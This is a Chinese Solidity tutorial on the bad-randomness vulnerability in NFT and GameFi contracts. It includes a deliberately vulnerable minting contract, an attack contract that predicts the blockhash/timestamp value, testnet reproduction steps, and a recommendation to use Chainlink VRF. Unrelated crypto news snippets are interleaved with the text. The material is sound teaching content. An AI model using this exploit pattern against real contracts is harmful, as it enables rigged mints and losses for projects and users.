我最近在重新學solidity,鞏固一下細節,也寫一個“WTF Solidity極簡入門”,供小白們使用(編程大佬可以另找教程),每周更新1-3講。
這一講,我們將介紹智能合約的壞隨機數(Bad Randomness)漏洞和預防方法,這個漏洞經常在 NFT 和 GameFi 中出現,包括 Meebits,Loots,Wolf Game等。
很多以太坊上的應用都需要用到隨機數,例如NFT隨機抽取tokenId、抽盲盒、gamefi戰斗中隨機分勝負等等。但是由于以太坊上所有數據都是公開透明(public)且確定性(deterministic)的,它沒有其他編程語言一樣給開發者提供生成隨機數的方法,例如random()。很多項目方不得不使用鏈上的偽隨機數生成方法,例如 blockhash() 和 keccak256() 方法。
壞隨機數漏洞:攻擊者可以事先計算這些偽隨機數的結果,從而達到他們想要的目的,例如鑄造任何他們想要的稀有NFT而非隨機抽取。更多的內容可以閱讀 WTF Solidity極簡教程 第39講:偽隨機數。
PeopleDAO與WTF Academy合作,在Goerli測試網上試用Soulbound協議:2月21日消息,PeopleDAO與Web3開源學習社區WTF Academy合作,在Goerli測試網上試用聲譽NFT協議Soulbound。用例類似于獲得課程學分。當WTF學院的學生完成課程后,他們將獲得不可轉讓的證書,即教育證明。
Soulbound選擇Goerli測試網對產品進行Beta測試,因為測試網是編碼人員用來開發和試用智能合約的以太坊區塊鏈的替代版本。一旦該項目從早期用戶那里獲得了足夠的反饋,下一步將部署到合適的以太坊L2網絡。[2023/2/21 12:19:31]
下面我們學習一個有壞隨機數漏洞的 NFT 合約: BadRandomness.sol。
contract BadRandomness is ERC721 { uint256 totalSupply; // 構造函數,初始化NFT合集的名稱、代號 constructor() ERC721("", ""){} // 鑄造函數:當輸入的 luckyNumber 等于隨機數時才能mint function luckyMint(uint256 luckyNumber) external { uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) % 100; // get bad random number require(randomNumber == luckyNumber, "Better luck next time!"); _mint(msg.sender, totalSupply); // mint totalSupply++; }}它有一個主要的鑄造函數 luckyMint(),用戶調用時輸入一個 0-99 的數字,如果和鏈上生成的偽隨機數 randomNumber 相等,即可鑄造幸運 NFT。偽隨機數使用 blockhash 和 block.timestamp 聲稱。這個漏洞在于用戶可以完美預測生成的隨機數并鑄造NFT。
goblintown.wtf系列NFT24小時交易額為90.35萬美元:金色財經消息,據NFTGo.io數據顯示,goblintown.wtf系列NFT總市值達6264萬美元,在所有NFT項目總市值排名中位列第38;其24小時交易額為90.35萬美元,跌幅達12.69%。截止發稿時,該系列NFT當前地板價為3ETH,漲幅為3.81%。[2022/6/13 4:21:22]
下面我們寫個攻擊合約 Attack.sol。
contract Attack { function attackMint(BadRandomness nftAddr) external { // 提前計算隨機數 uint256 luckyNumber = uint256( keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)) ) % 100; // 利用 luckyNumber 攻擊 nftAddr.luckyMint(luckyNumber); }}攻擊函數 attackMint()中的參數為 BadRandomness合約地址。在其中,我們計算了隨機數 luckyNumber,然后將它作為參數輸入到 luckyMint() 函數完成攻擊。由于attackMint()和luckyMint()將在同一個區塊中調用,blockhash和block.timestamp是相同的,利用他們生成的隨機數也相同。
goblintown.wtf系列NFT24小時交易額為102.41萬美元:金色財經消息,據NFTGo.io數據顯示,goblintown.wtf系列NFT總市值達6238萬美元,在所有NFT項目總市值排名中位列第39;其24小時交易額為102.41萬美元,跌幅達9.35%。截止發稿時,該系列NFT當前地板價為3.15ETH,跌幅為26.01%。[2022/6/12 4:19:11]
由于 Remix 自帶的 Remix VM不支持 blockhash函數,因此你需要將合約部署到以太坊測試鏈上進行復現。
部署 BadRandomness 合約。
部署 Attack 合約。
將 BadRandomness 合約地址作為參數傳入到 Attack 合約的 attackMint() 函數并調用,完成攻擊。
調用 BadRandomness 合約的 balanceOf 查看Attack 合約NFT余額,確認攻擊成功。
“哥布林” GoblintTown.wtf NFT系列市值突破1億美元:金色財經報道,據最新數據顯示,“哥布林” GoblintTown.wtf NFT系列市值突破1億美元,本文撰寫時達到1.105億美元,交易額為6834萬美元。此外,該NFT系列地板價已升至7.1 ETH,24小時漲幅達到37.18%。Goblintown NFT 通過免費公售的形式在以太鏈上發售,發行總數量為 9999 個,其中Goblintown #6485以77.75 ETH成交,約合 150,507.29 美元,為目前該系列最高交易記錄。[2022/6/6 4:04:39]
我們通常使用預言機項目提供的鏈下隨機數來預防這類漏洞,例如 Chainlink VRF。這類隨機數從鏈下生成,然后上傳到鏈上,從而保證隨機數不可預測。更多介紹可以閱讀 WTF Solidity極簡教程 第39講:偽隨機數。
這一講我們介紹了壞隨機數漏洞,并介紹了一個簡單的預防方法:使用預言機項目提供的鏈下隨機數。NFT 和 GameFi 項目方應避免使用鏈上偽隨機數進行抽獎,以防被黑客利用。
PeckShield:goblintown-claims[.]wtf是釣魚網站,與官方網站極其相似:5月26日消息,PeckShield發推表示,檢測到goblintown-claims[.]wtf是一個釣魚網站。該網站引誘用戶連接錢包以盜取NFT,并且這個釣魚網站看起來與官方網站幾乎完全相同,提醒用戶注意資金安全。[2022/5/26 3:42:50]
推特:@0xAA_Science|@WTFAcademy_
社區:Discord|微信群|官網 wtf.academy
所有代碼和教程開源在github: github.com/AmazingAng/WTFSolidity
來源:bress
Bress
個人專欄
閱讀更多
金色早8點
比推 Bitpush News
Foresight News
PANews
Delphi Digital
區塊鏈騎士
深潮TechFlow
鏈捕手
區塊律動BlockBeats
DeFi之道
Web3技術使粉絲們能夠以一種更加人際化的方式與同好、媒體、內容創作者甚至他們崇拜的名人進行互動,粉絲和創作者都可以獲得更人性化的體驗.
1900/1/1 0:00:00撰文:korpi 編譯:深潮 TechFlow從價格上看,這段時間相當無聊,BTC 在很小的價格范圍內波動......這是風暴前的平靜?加密貨幣波動率指數(CVI)幾乎在歷史最低.
1900/1/1 0:00:00當地時間 11 月 17 日,FTX 新任首席執行官 John Ray III 向美國特拉華州破產法院提交了一份文件,披露了 FTX 集團相關資產以及運營情況.
1900/1/1 0:00:00或許Coindesk沒能想到,自己的一篇報道在帶崩FTX后,也讓這把火燒到了自己母公司Digital Currency Group(DCG)身上.
1900/1/1 0:00:002022/10/31香港財政司(財經事務及庫務局)正式發布《有關香港虛擬資產發展的政策宣言》,闡明政府對虛擬資產行業和生態圈的政策立場和方針邀請有關交易所在香港開拓商機允許零售投資人(散戶)買賣.
1900/1/1 0:00:00▌Binance再次提供BTC儲備證明金色財經報道,加密貨幣交易所Binance宣布了一項新計劃,該計劃將為所有當前和未來的加密貨幣投資者提供其現有比特幣和以太坊儲備的證明.
1900/1/1 0:00:00